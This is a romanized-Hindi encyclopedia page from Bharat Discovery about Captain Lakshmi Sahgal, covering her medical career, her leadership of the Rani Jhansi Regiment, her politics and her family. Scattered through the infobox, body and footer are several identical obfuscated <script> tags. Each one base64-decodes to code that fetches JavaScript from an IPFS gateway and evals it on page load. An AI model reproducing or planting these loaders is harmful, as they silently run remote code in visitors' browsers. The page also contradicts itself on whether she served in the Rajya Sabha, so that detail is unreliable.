लक्ष्मी सहगल

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
lakshmi sahagal
poora nam kaiptan lakshmi sahagal
any nam lakshmi svaminathan (vivah se pahale)
janm 24 aktoobar, 1914
janm bhoomi madras (ab chennee)
mrityu 23 julaee, 2012
mrityu sthan kanapur
mrityu karan dil ka daura
abhibhavak pita- es. svaminathan aur mata- evi amukkutti (ammoo)
pati/patni karnal prem kumar sahagal
santan do putriyaan- subhashini ali aur anisa puri
nagarikata bharatiy
parti marksavadi kamyunist parti
pad svatantrata sangram senani
shiksha 1932 mean vijnan mean snatak, em.bi.bi.es., diploma in gainikol aauji
vidyalay madras medikal kalej
bhasha hindi, aangrezi
puraskar-upadhi padm vibhooshan
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kaiptan lakshmi sahagal (aangrezi: Lakshmi Sahgal, janm: 24 aktoobar, 1914, madras (ab chennee); mrityu: 23 julaee, 2012 kanapur) mahanh svatantrata senani aur azad hind fauj ki adhikari thian. ve azad hind sarakar mean mahila mamaloan ki mantri rahian. subhash chandr bos ke sath kandhe se kandha milakar sena mean rahate hue lakshmi sahagal ne kee sarahaniy kam kiye. unako behad mushkil jimmedari sauanpi gee thi. unake kandhoan par jimmedari thi phauj mean mahilaoan ko bharti hone ke lie prerana dena aur unhean phauj mean bharti karana. lakshmi sahagal ne is jimmedari ko bakhoobi aanjam tak pahuanchaya. jis jamane mean auratoan ka ghar se nikalana bhi jurm samajha jata tha, us samay unhoanne 500 mahilaoan ki ek fauj taiyar ki, jo eshiya me apane tarah ki pahali viang thi.

jivan parichay

bharat ki ajadi mean aham bhoomika ada karane vale svatantrata sangram senani subhash chandr bos ki sahayogi rahian kaiptan lakshmi sahagal ka janm 24 aktoobar, 1914 ko madras (ab chennee) mean hua tha. kaiptan lakshmi sahagal ka vivah se pahale nam lakshmi svaminathan tha. unake pita ka nam d aau. es. svaminathan aur mata ka nam evi amukkutti (ammoo) tha. pita madras uchch nyayalay ke jane mane vakil the. unaki mata ammoo svaminathan ek samajasevi aur keral ke ek jane-mane svatantrata senani parivar se thian, jinhoanne ajadi ke aandolanoan mean badh-chadhakar hissa liya tha. yah ek tamil paranparavadi parivar tha. lakshmi sahagal shurooati dinoan se hi bhavuk aur doosaroan ki madad karane vali rahian. unaka kahana tha ki yah bat unhoanne apani maan se virasat mean payi jo hamesha doosaroan ki madad kiya karati thian.

shiksha aur aranbhik jivan

kaiph‍tan lakshmi padhaee mean kushal thian. varsh 1930 mean pita ke dehavasan ka sahasapoorvak samana karate hue 1932 mean lakshmi ne vijnan mean snatak pariksha pas ki. kaiptan d aau. sahagal shuroo se hi bimar gariboan ko ilaj ke liye pareshan dekhakar du:khi ho jati thian. isi ke maddenazar unhoanne gariboan ki seva ke liye chikitsa pesha chuna aur 1938 mean madras medikal k aaulej se em.bi.bi.es. ki digri hasil ki. usake bad unhoanne diploma in gainikol aauji bhi kiya aur agale varsh 1939 mean vah mahila rog visheshajn banian. padhaee samapt karane ke do varsh bad lakshmi ko videsh jane ka avasar mila aur vah 1940 mean siangapur chali gayian. jahaan unhoanne garib bharatiyoan aur mazadooroan (maigrentas lebar) ke lie ek chikitsa shivir lagaya aur unaka ilaj kiya.

svatantrata sangram mean yogadan

siangapur mean unhoanne n keval bharat se ae apravasi mazadooroan ke lie nishulk chikitsalay khola balki 'bharat svatantrata sangh' ki sakriy sadasya bhi banian. varsh 1942 mean dvitiy vishv yuddh ke dauran jab aangrezoan ne siangapur ko japaniyoan ko samarpit kar diya tab unhoanne ghayal yuddhabandiyoan ke liye kafi kam kiya. usi samay british sena ke bahut se bharatiy sainikoan ke man mean apane desh ki svatantrata ke lie kam karane ka vichar uth raha tha.

netaji se mulakat

videsh mean mazadooroan ki halat aur unake oopar ho rahe julmoan ko dekhakar unaka dil bhar aya. unhoanne nishchay kiya ki vah apane desh ki ajadi ke lie kuchh kareangi. lakshmi ke dil mean ajadi ki alakh jag chuki thi isi dauran desh ki ajadi ki mashal lie neta ji subhash chandr bos 2 julaee 1943 ko siangapur ae to d aau. lakshh‍mi bhi unake vicharoan se prabhavit hue bina nahian rah sakian aur aantat: qarib ek ghante ki mulakat ke bich lakshmi ne yah ichchha jata di ki vah unake sath bharat ki ajadi ki l daee mean utarana chahati haian. lakshmi ke bhitar azadi ka jazba dekhane ke bad netaji ne unake netritv mean 'rani lakshmibaee rejimeant' banane ki ghoshana kar di jisamean vah vir nariyaan shamil ki gayian jo desh ke lie apani jan de sakati thian. 22 aktoobar, 1943 mean d aau. lakshmi ne rani jhaansi rejimeant mean 'kaiptan' pad par karyabhar sanbhala. apane sahas aur adbhut kary ki badaulat bad mean unhean 'karnal' ka pad bhi mila, jo eshiya mean kisi mahila ko pahali bar mila tha. lekin logoan ne unhean 'kaiptan lakshmi' ke roop mean hi yad rakha. d aau. lakshmi asthaee 'azad hiand sarakar' ki kaibinet mean pahali mahila sadasy banian. vah 'azad hind phauj' ki adhikari tatha 'azad hind sarakar' mean mahila mamaloan ki mantri thian.

azad hiand phauz mean shamil

rashtravadi aandolan se prabhavit lakshmi svaminathan d aauktari peshe se nikalakar ajad hiand phauz mean shamil ho geean. ab lakshmi sirph d aauktar hi nahian balki kaiptan lakshmi ke nam se bhi logoan ke bich jani jane lagian. unake netritv mean ajad hind phauj ki mahila bataliyan rani lakshmibaee rejimeant mean kee jagahoan par aangrejoan se morcha liya aur aangrejoan ko bata diya ki desh ki nariyaan choodiy़aan to pahanati haian lekin samay ane par vah bandook bhi utha sakati haian aur unaka nishana purushoan ki tulana mean kam nahian hota.

taiyar ki 500 mahilaoan ki fauj

subhash chandr bos ke sath kandhe se kandha milakar sena me rahate hue unhoanne kee sarahaniy kam kiye. unako behad mushkil jimmedari sauanpi gee thi. unake kandhoan par jimmedari thi phauj mean mahilaoan ko bharti hone ke lie prerana dena aur unhean phauj mean bharti karana. lakshmi ne is jimmedari ko bakhoobi aanjam tak pahuanchaya. jis jamane me auratoan ka ghar se nikalana bhi jurm samajha jata tha us samay unhoanne 500 mahilaoan ki ek fauj taiyar ki jo eshiya me apane tarah ki pahali viang thi. lakshmi sahagal ne hamesha amiri garibi ka virodh kiya. vo hamesha sabhi ko ek saman najaroan se dekhati. shayad yahi vajah thi ki subhash chandr bos ke alochak bhi unake murid ho ge. lakshmi sahagal hamesha se manati rahi haian ki vyakti ki kathani aur karani ek honi chahie. dvitiy vishv yuddh mean japan ki har ke bad british senaoan ne azad hiand fauj ke sainikoan ki bhi dharapak d shuroo ki to 4 march 1946 ko lakshmi sahagal bhi siangapur mean giraphtar kar li geean. unhean bharat laya gaya lekin ajadi ke lie tezise badh rahe dabav ke bich unhean riha kar diya gaya.

rajaniti mean

pati ki maut ke bad kaiptan lakshmi kanapur akar rahane lagian aur bad mean kaiptan sahagal sakriy rajaniti mean bhi ayian. 1971 mean vah marksavadi kamyunist parti/ makapa (kamyunist parti aauph indiya/ sipiaeeem) ki sadasyata grahan ki aur rajyasabha mean parti ka pratinidhitv kiya. ve akhil bharatiy janavadi mahila samiti (aaul indiya demokretiks vomens esosieshan) ki sansthapak sadasyoan mean rahian. unhoanne mahilaoan ki samajik v arthik svatantrata ke lie kafi sangharsh kiya. svatantrata aandolan mean unake mahattvapoorn yogadan aur sangharsh ko dekhate hue unhean 1998 mean bharat ke rashtrapati ke. ar. narayanan dvara padmavibhooshan samman se navaja gaya. varsh 2002 mean 88 varsh ki ayu mean unaki parti (vam dal) ke logoan ke dabav mean unhoanne poorv rashtrapati epije abdul kalam ke khilaf rashtrapati pad ke lie chunav maidan mean bhi utari lekin unhean har ka samana karana p da. lekin unaki pratishtha par koee aanch nahian aee. ek lambe rajanitik jivan ko jine ke bad 1997 mean vah kafi kamazor ho gayian. unake qaribi batate haian ki sharir se kamazor hone ke bad bhi kaiptan sahagal hamesha logoan ki bhalaee ke bare mean sochati thian tatha marijoan ko dekhane ka prayas karati thian. [[chitr:lakshmi sehgal bose.jpg|thumb|350px|azad hiand fauj mean subhash chandr bos aur kaiptan lakshmi sahagal]]

vivah aur parivar

desh ajad hone hi vala tha ki lahaur ke karnal prem kumar sahagal se unake vivah ki bat chali aur unhoanne hami bhar di. varsh 1947 mean unaka vivah prem kumar ke sath ho gaya tatha vah kaiptan lakshmi se kaiptan lakshmi sahagal ho gayian. kaiptan sahagal ki do betiyaan subhashini ali aur anisa puri haian. ek beti subhashini ne film nirmata mujaphphar ali se vivah kiya. subhashini ali 1989 mean kanapur se marksavadi kamyunist parti ki saansad bhi rahian. subhashini ali ne kamyunist netri brinda karat ki film 'amoo' mean abhinetri ka kiradar bhi nibhaya tha. d aau. sahagal ke pautr aur subhashini ali aur muzaphphar ali ke putr shad ali film nirmata nirdeshak haian, jinhoanne 'sathiya', 'banti aur babali' ityadi charchit filmean banaee haian. prasiddh nrityaangana mrinalini sarabhaee unaki sagi bahan haian.

samyavad ki samarthak

subhashini ke anusar kaiptan d aau. sahagal kamyunist vichar dhara se zaroor ju di thi aur hamesha samyavad ki bat karati thi, lekin vah kabhi bhi kamyunist parti ki taraph se rajy sabha ki saansad nahian chuni gayi, halaanki vah kamyunist andolan se lagatar ju di rahian. vah kabhi rajyasabha ki saansad bhi nahian rahi. aeeene mean unaki sahayogi aur unaki dost qarib 92 varshiy svatantrata senani manavati ary ke anusar vah deshabhakti ka ek jita jagata namoona thian aur ham sabaki prerana aur margadarshak thian. vah samyavad ki samarthak thian aur desh mean samyavad chahati thian. unaka sapana desh mean samyavad lana tha aur sabhi ko saman adhikar dilana tha.

nidhan

kaiptan d aauktar lakshmi sahagal ka nidhan 98 varsh ki ayu mean 23 julaee 2012 ki subah 11:20 baje kanapur ke hailet aspatal mean huee thian. unhean 19 julaee ko dil ka daura padऩe ke bad bharti karaya gaya tha, jahaan unhean bad mean bren haimarej hua. lekin do din bad hi vah koma mean chali gayian. qarib paanch dinoan tak jindagi aur maut se joojhane ke bad akhirakar kaiptan sahagal apani antim jang har gayian. sh‍vatantrata senani, d aaukh‍tar, saansad, samajasevi ke roop mean yah desh unh‍hean sadaiv yad rakhega. pichhale kee saloan se vah kanapur ke apane ghar mean bimaroan ka ilaj karati rahi thian. unaki ichchhanusar unaka mrit sharir kanapur medikal k aaulej ko dan kar diya gaya tha. at: unaki ichchha ke mutabiq unaka aantim sanskar nahian hoga. jivan bhar gariboan aur mazadooroan ke lie sangharsh karati rahian lakshmi sahagal ki maut ke samay unaki putri subhashini ali unake sath hi thian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>